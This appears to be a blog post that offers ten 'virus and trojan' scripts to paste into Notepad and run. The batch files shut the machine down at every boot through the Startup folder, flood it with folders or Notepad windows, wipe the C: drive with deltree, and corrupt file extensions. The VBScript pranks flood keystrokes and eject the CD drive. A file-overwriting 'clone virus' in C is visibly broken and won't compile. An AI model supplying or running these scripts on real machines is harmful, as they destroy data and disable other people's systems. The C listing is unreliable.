Top 10 Virus And Trojan Codes With Notepad



Hi guys! Today am going to share with you the Notepad tricks that can make viruses and trojans.


This Section contains the Virus Codes. Some of these codes are already familiar with you, But still very much harmful and educational too. Below mentioned some of the Platforms in which these virus are coded.

BATCH Programming.
C/C++
Python
Visual Basic.

The code here are used for Educational Purposes. Please don’t use them to harm others. You can also install any Virtual Machine on your system, to experiment those codes.


1.  ShutDown  Virus:

Many of you know this trick, but i can’t call this a virus. But still its not a friendly one, it can affect and harm your data if not saved.

Effect –> May Harm uR workings and unsaved data.
Coding  Platform –> Batch Programming.
Working –> On executing, it will shutdown your system immidiately. If your data is not saved, it can harm uR workings. And can sometimes becomes more destructive for normal users.
Type the code or just paste the code in notepad and save it as “.bat” extension. Example  –>  ron.bat

************************************************************

@echo off

shutdown -s -t “30?

************************************************************

“30? mentioned here is time in seconds in which your system will shut-down. You can set any time as uR requirements. You can also add comments by adding “-c” tag after “30?. To  give any message to user while shutdown process.

Example  –>  shutdown -s -t “60? -c “Windows Formatting starts…”

2. ShutDown  Virus  (More Destructive)

This code is same as above but it restricts system to start and shuts down system each time it starts.

Effect –>  Destructive and Irritating.
Coding platform  –> Batch Programming.
Working  –> Shuts down system each time it starts, and user are never able to login properly. If user boots up system again and again, it sometimes cause windows failure or data lost.
Just type or copy the code in notepad and save it as “.bat” extension.

************************************************************

@echo off

shutdown -s -t “00?

************************************************************

Now goto following location  –>  start  –>  all programs  –>  startup. Right Click and open folder. Now just copy that saved .bat file and paste in that startup folder.

CAUTION  –>  DON’T USE THIS ON YOUR SYSTEM, YOU WILL NEVER ABLE TO OPEN YOUR SYSTEM. ONLY WAY TO GET RID OF THIS VIRUS IS TO OPEN YOUR SYSTEM IN SAFE MODE AND JUST GOTO THAT STARTUP FOLDER AND DELETE THAT “.bat” FILE.


3.  Multiple  Folder  Virus

Effect –> Not Destructive, But sometimes can become very irritating and itchy.
Coding Platform –>  Batch Programming.
Working –>  This code will just create multiple folders each time system starts-up and also open those hundreds of folders. It is not destructive but while executing it can eat up uR system process and results in slow system performance and sometimes could hang system.
Just write or copy the code in notepad and save it as “.bat” extension.

****************************************************************

@echo off

:RON

md folder1

md folder2

md folder3

md folder4

md folder5

start folder1

start folder2

start folder3

start folder4

start folder5

goto RON

************************************************************

Now goto, START  –>  ALL PROGRAMS  –>  STARTUP FOLDER. Now just copy that .bat file in that folder. Next time system starts, multiple folders are created and will start automatically. You can name folder name anything as you want.

4.  Notepad  Flood

Effect –>  Not Destructive or harmless.
Coding Platform –>  Batch Programming.
Working –>  On executing this .bat file it will open and flood loads of notepad {actually it opens around 180 notepads}. This sometimes cause PC hang.
Type the code or just copy the code in notepad and save it as “.bat” extension.

*************************************************************

@echo off

:RON

start notepad

start notepad

start notepad

goto RON

***********************************************************

In the above code you can write “start notepad” any number to times. Increasing this command will increase flooding and cause higher chances of system hang-up.

5.  Deadly  WordPad  VirUs

Effect –>  Deadly and Destructive.
Coding Platform –>  Batch Programming.
Working –>  On executing, this code will delete every single piece of data from uR hard-drive. It will also wipe out windows from the system.
Just copy the code or type it in a worpad and save it as anyname with “.bat” extension.

***********************************************************

@echo off

deltree C:\

************************************************************

NOTE: PLEASE DON’T RUN THAT “.bat” FILE ON YOUR SYSTEM. IT CAN BE VERY HARMFUL. AND LEARN THIS CODE FOR EDUCATIONAL PURPOSES ONLY, NOT TO HARM OTHERS. ;)


6. File  ExTension  Corrupting  Virus

Effect –>  Effects file execution, irritating but not destructive. Will Corrupt file working.
Coding Platform –>  Batch Programming.
Working –>  On executing this code will affects the opening of file and will corrupt the files extension. This will corrupt the file and disables it and you will not be able to execute it in proper format.
Just type or copy the code in notepad and save it as anyname with “.bat” extension.

************************************************************

@echo off

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.doc *.com

ren *.jpg *.txt

************************************************************


7.  Dancing   CapsLock  And  NumKey

Effect –>  Low, Irritating for normal user.
Coding Platform –>  VBscript
Working –>  On executing it will toggle both,  capslock and numkey continuously and it becomes very irritating for normal user. This type of code can be used for prank purposes.
Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.  Example  –>  ”ron.vbs”

************************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

*************************************************************


8. NotePad  Tsunami  VirUs

Effect –>  Harmful n Effective, Cause system crash easily.
Coding Platform –>  VBscript.
Working –>  On Executing, it opens notepad unlimited no. of times and write a text into notepad automatically. It looks very scary for normal users as it leads to system hang and crash system in few minutes.
Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.

*************************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

WshShell.Run “notepad”
WScript.Sleep 100
WshShell.SendKeys “H”
WScript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “o “
WScript.Sleep 200
WshShell.SendKeys ” “
WScript.Sleep 200
WshShell.SendKeys “u”
WScript.Sleep 200

Wshshell.Sendkeys “s”

Wscript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “r”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “…”
WScript.Sleep 200
WshShell.SendKeys “{enter}”

WScript.Sleep 200

WshShell.SendKeys “You”

WScript.Sleep 200
WshShell.SendKeys ” Have”
WScript.Sleep 200
WshShell.SendKeys ” Been”
WScript.Sleep 200
WshShell.SendKeys ” Hacked!!!”
WScript.Sleep 200
WshShell.SendKeys ” Now”
WScript.Sleep 200
WshShell.SendKeys ” Just”
WScript.Sleep 200
WshShell.SendKeys ” Taste”
WScript.Sleep 200
WshShell.SendKeys ” What”
WScript.Sleep 200
WshShell.SendKeys ” Virus”
WScript.Sleep 200
WshShell.SendKeys ” can do with uuuuuuuuuuuuu….”
WScript.Sleep 200
WshShell.SendKeys ” {enter}”
WScript.Sleep 200
WshShell.SendKeys “hahahahaha…….”
WScript.Sleep 200
WshShell.Sendkeys ” Now just Look Dumb Head what i will do!!!!!!!”

wscript.sleep 200

wshshell.sendkeys “{enter}”
wscript.sleep 200
wshshell.sendkeys “look”
wscript.sleep 200
wshshell.sendkeys “{enter}”
wscript.sleep 200
wshshell.sendkeys “how”
wscript.sleep 200
wshshell.sendkeys “{enter}”
wscript.sleep 100
wshshell.sendkeys “i”
wscript.sleep 200
wshshell.sendkeys “{enter}”
wscript.sleep 200
wshshell.sendkeys “crash”
wscript.sleep 200
wshshell.sendkeys ” uR”
wscript.sleep 200
wshshell.sendkeys “{enter}”
wscript.sleep 200
wshshell.sendkeys “system”
wscript.sleep 200
loop
***********************************************************

9.  PoP-uP  CD/DvD  Drive  Virus

Effect –>  Low, but very irritating. Not Harmless.
Coding Platform –>  VBscript.
Working –>  On Executing, It will continously pop-up uR CD/DVD. It is very irritating and can be stopped only on system shut-down. It is not harmless or destructive.
Just copy the code or type it on notepad and save it as anyname with “.vbs” extension.

***********************************************************

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

*************************************************************


10.  Clone  Virus

Effect –>  Harmful and very effective.
Coding Platform –>  C, Turbo C.
Working –>  On Executing, this virus does is it makes all the files in the current directory a virus. Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.
**********************************************************

FILE *Ron *vRon;

int owned = 0;

unsigned long x;

char buff[256];

struct ffblk ffblk;

clock_t st, end;

main()

{

 st=clock();

 clrscr();

 owned=(find_first(“*.*”, &ffblk,0);

 while(!done)

 {

 Ron=fopen(_arg[0], “rb”);

 vhost=fopen(ffblk.ff_name, “rb+”);

 if (vhost = =NULL)

 goto next;

 x = 89088;

 printf(“infecting %s\n”, ffblk.ff_name);

 while(x>2048)

 {

 fread(buff,256,1,Ron);

 fwrite(buff,256,1,vRon);

 x – = 2048;

 }

 fread(buff,x,1,Ron);

 fwrite(buff,x,1,vRon);

 a++;

 next:      fcloseall();

 owned = findnext(&ffblk);

 }

 end = clock()

 printf(“Infected %d files in %f sec”, a, (end-st)/CLK_TCk);

 return (0);

}

******************************************************************************************************************************************************************

Thats it ;) How was these Notepad tricks? Must comment and share this.
If any problem in this post please tell us.



Read more: http://softrickx.blogspot.com/2013/09/top-10-virus-and-trojan-codes-with.html#ixzz2flDr8Kzn

Comments

Popular posts from this blog

Google is a most popular search engine, elgooG (Google spelled backwards) is a mirror image og the Google search engine,just for making fun.

A Simple Trick to Hack Unprotected Surveillance Cameras in Web

Change your facebook theme